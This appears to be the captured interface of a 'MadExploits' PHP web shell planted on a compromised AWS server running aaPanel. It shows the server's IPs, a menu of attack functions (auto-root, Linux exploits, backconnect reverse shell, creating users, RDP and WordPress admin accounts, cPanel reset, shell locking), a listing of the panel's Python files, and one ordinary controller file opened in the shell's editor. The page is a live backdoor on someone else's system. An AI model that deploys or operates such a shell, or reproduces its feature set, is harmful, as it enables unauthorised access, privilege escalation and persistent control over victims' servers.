Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.148.162.188
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
btdockerModelV2
[ DIR ]
drwxr-xr-x
crontabModelV2
[ DIR ]
drwxr-xr-x
databaseModelV2
[ DIR ]
drwxr-xr-x
firewallModelV2
[ DIR ]
drwxr-xr-x
logsModelV2
[ DIR ]
drwxr-xr-x
monitorModelV2
[ DIR ]
drwxr-xr-x
panelModelV2
[ DIR ]
drwxr-xr-x
power_mta
[ DIR ]
drwxr-xr-x
projectModelV2
[ DIR ]
drwxr-xr-x
safeModelV2
[ DIR ]
drwxr-xr-x
safe_warning_v2
[ DIR ]
drwxr-xr-x
ssl_domainModelV2
[ DIR ]
drwxr-xr-x
virtualModelV2
[ DIR ]
drwxr-xr-x
wp_toolkit
[ DIR ]
drwxr-xr-x
acme_v3.py
133.98
KB
-rw-r--r--
ajax_v2.py
95.41
KB
-rw-r--r--
apache_v2.py
17.28
KB
-rw-r--r--
backup_bak_v2.py
24.86
KB
-rw-r--r--
breaking_through.py
47.94
KB
-rw-r--r--
cloud_stora_upload_v2.py
19.27
KB
-rw-r--r--
common_v2.py
12.45
KB
-rw-r--r--
config_v2.py
165.36
KB
-rw-r--r--
crontab_ssl_v2.py
1.85
KB
-rw-r--r--
crontab_v2.py
111.93
KB
-rw-r--r--
data_v2.py
36.54
KB
-rw-r--r--
database_v2.py
125.54
KB
-rw-r--r--
datatool_v2.py
5.83
KB
-rw-r--r--
db_mysql_v2.py
11.41
KB
-rw-r--r--
db_v2.py
11.04
KB
-rw-r--r--
dk_db.py
18.34
KB
-rw-r--r--
download_file_v2.py
2.54
KB
-rw-r--r--
fastcgi_client_two_v2.py
12.26
KB
-rw-r--r--
fastcgi_client_v2.py
6.89
KB
-rw-r--r--
file_execute_deny_v2.py
10.34
KB
-rw-r--r--
files_v2.py
149.12
KB
-rw-r--r--
firewall_new_v2.py
22.4
KB
-rw-r--r--
firewalld_v2.py
11.09
KB
-rw-r--r--
firewalls_v2.py
17.44
KB
-rw-r--r--
flask_compress_v2.py
5.12
KB
-rw-r--r--
flask_sockets_v2.py
3.75
KB
-rw-r--r--
ftp_log_v2.py
21.72
KB
-rw-r--r--
ftp_v2.py
16.17
KB
-rw-r--r--
http_requests_v2.py
24.25
KB
-rw-r--r--
jobs_v2.py
36.98
KB
-rw-r--r--
letsencrypt_v2.py
12.85
KB
-rw-r--r--
log_analysis_v2.py
12.23
KB
-rw-r--r--
monitor_v2.py
13.53
KB
-rw-r--r--
one_key_wp_v2.py
75.79
KB
-rw-r--r--
panelControllerV2.py
4.97
KB
-rw-r--r--
panelDatabaseControllerV2.py
5.76
KB
-rw-r--r--
panelDockerControllerV2.py
5.86
KB
-rw-r--r--
panelFireControllerV2.py
4.65
KB
-rw-r--r--
panelModControllerV2.py
5.13
KB
-rw-r--r--
panelProjectControllerV2.py
6.07
KB
-rw-r--r--
panelSafeControllerV2.py
4.65
KB
-rw-r--r--
panel_api_v2.py
10.43
KB
-rw-r--r--
panel_auth_v2.py
33.21
KB
-rw-r--r--
panel_backup_v2.py
102.56
KB
-rw-r--r--
panel_dns_api_v2.py
22.2
KB
-rw-r--r--
panel_http_proxy_v2.py
11.33
KB
-rw-r--r--
panel_lets_v2.py
43.61
KB
-rw-r--r--
panel_mssql_v2.py
4.48
KB
-rw-r--r--
panel_mysql_v2.py
7.55
KB
-rw-r--r--
panel_php_v2.py
24.78
KB
-rw-r--r--
panel_ping_v2.py
2.88
KB
-rw-r--r--
panel_plugin_v2.py
125.11
KB
-rw-r--r--
panel_push_v2.py
23.78
KB
-rw-r--r--
panel_redirect_v2.py
34.02
KB
-rw-r--r--
panel_restore_v2.py
11.04
KB
-rw-r--r--
panel_site_v2.py
343.73
KB
-rw-r--r--
panel_ssl_v2.py
75.34
KB
-rw-r--r--
panel_task_v2.py
28.7
KB
-rw-r--r--
panel_video_V2.py
1.88
KB
-rw-r--r--
panel_warning_v2.py
68.71
KB
-rw-r--r--
password_v2.py
8.09
KB
-rw-r--r--
plugin_auth_v2.py
3.14
KB
-rw-r--r--
plugin_deployment_v2.py
28.85
KB
-rw-r--r--
san_baseline_v2.py
51.13
KB
-rw-r--r--
site_dir_auth_v2.py
17.67
KB
-rw-r--r--
ssh_security_v2.py
45.66
KB
-rw-r--r--
ssh_terminal_v2.py
58.86
KB
-rw-r--r--
system_v2.py
44.77
KB
-rw-r--r--
userRegister_v2.py
6.74
KB
-rw-r--r--
user_login_v2.py
21.2
KB
-rw-r--r--
vilidate_v2.py
4.94
KB
-rw-r--r--
wxapp_v2.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : panelProjectControllerV2.py
#coding: utf-8 #------------------------------------------------------------------- # aaPanel #------------------------------------------------------------------- # Copyright (c) 2015-2017 aaPanel(www.aapanel.com) All rights reserved. #------------------------------------------------------------------- # Author: hezhihong<2024-04-15> #------------------------------------------------------------------- #------------------------------ # 项目管理控制器 #------------------------------ import os,sys,public,json,re class ProjectController: def __init__(self): pass def model(self,args): ''' @name 调用指定项目模型 @author hezhihong<2024-04-15> @param args<dict_obj> { mod_name: string<模型名称> def_name: string<方法名称> data: JSON } ''' try: # 表单验证 if args['mod_name'] in ['base']: return_message=public.return_status_code(1000,'wrong call!') del return_message['status'] return public.return_message(-1,0, return_message) public.exists_args('def_name,mod_name',args) if args['def_name'].find('__') != -1: return_message=public.return_status_code(1000,'Called method name cannot contain [ __ ] characters') del return_message['status'] return public.return_message(-1,0, return_message) if not re.match(r"^\w+$",args['mod_name']): return_message=public.return_status_code(1000,r'The called module name cannot contain characters other than \w') del return_message['status'] return public.return_message(-1,0, return_message) if not re.match(r"^\w+$",args['def_name']): return_message=public.return_status_code(1000,r'The called module name cannot contain characters other than \w') del return_message['status'] return public.return_message(-1,0, return_message) except: return public.return_message(-1,0,public.get_error_object()) #静态html调用 if 'stype' in args and args['stype'] == 'html': from BTPanel import render_template_string t_path_root = public.get_panel_path()+'/class_v2/projectModelV2/templates/' t_path = t_path_root + args['mod_name']+"_"+args['def_name'] + '.html' if not os.path.exists(t_path): return_message=public.return_status_code(1000,'The called template does not exist!'+t_path) del return_message['status'] return public.return_message(-1,0, return_message) t_body = public.readFile(t_path) public.return_message(0,0, "") return render_template_string(t_body, data={}) # 参数处理 module_name = args.mod_name.strip() mod_name = "{}Model".format(args.mod_name.strip()) def_name = args.def_name.strip() # # 指定模型是否存在 # mod_file = "{}/projectModel/{}.py".format(public.get_class_path(),mod_name) # if not os.path.exists(mod_file): # return public.return_status_code(1003,mod_name) # # 实例化 # def_object = public.get_script_object(mod_file) # if not def_object: return public.return_status_code(1000,'没有找到{}模型'.format(mod_name)) # run_object = getattr(def_object.main(),def_name,None) # if not run_object: return public.return_status_code(1000,'没有在{}模型中找到{}方法'.format(mod_name,def_name)) if not hasattr(args,'data'): args.data = {} if args.data: if isinstance(args.data,str): try: # 解析为dict_obj pdata = public.to_dict_obj(json.loads(args.data)) except: return public.return_message(-1,0,public.get_error_object()) else: pdata = args.data else: pdata = args if isinstance(pdata,dict): pdata = public.to_dict_obj(pdata) pdata.model_index = 'project_v2' # 前置HOOK hook_index = '{}_{}_LAST'.format(mod_name.upper(),def_name.upper()) hook_result = public.exec_hook(hook_index,pdata) if isinstance(hook_result,public.dict_obj): pdata = hook_result # 桥接 elif isinstance(hook_result,dict): return public.return_message(-1,0, hook_result) # 响应具体错误信息 elif isinstance(hook_result,bool): if not hook_result: # 直接中断操作 return_message=public.return_data(False,{},error_msg='Pre-HOOK interrupt operation') del return_message['status'] return public.return_message(-1,0, return_message) # 调用处理方法 # result = run_object(pdata) class_string='main' import public.PluginLoader as plugin_loader if module_name=='proxy': class_string='Redirect' mod_file = '{}/class_v2/projectModelV2/common/redirect.py'.format(public.get_panel_path()) else: mod_file = '{}/class_v2/projectModelV2/{}.py'.format(public.get_panel_path(),mod_name) plugin_class = plugin_loader.get_module(mod_file) plugin_object = getattr(plugin_class,class_string)() result = getattr(plugin_object,def_name)(pdata) if isinstance(result,dict): if 'status' in result and result['status'] == False and 'msg' in result: if isinstance(result['msg'],str): if result['msg'].find('Traceback ') != -1: raise public.return_message(-1,0,public.PanelError(result['msg'])) # 后置HOOK hook_index = '{}_{}_END'.format(mod_name.upper(),def_name.upper()) hook_data = public.to_dict_obj({ 'args': pdata, 'result': result }) hook_result = public.exec_hook(hook_index,hook_data) if isinstance(hook_result,dict): result = hook_result['result'] return result
Close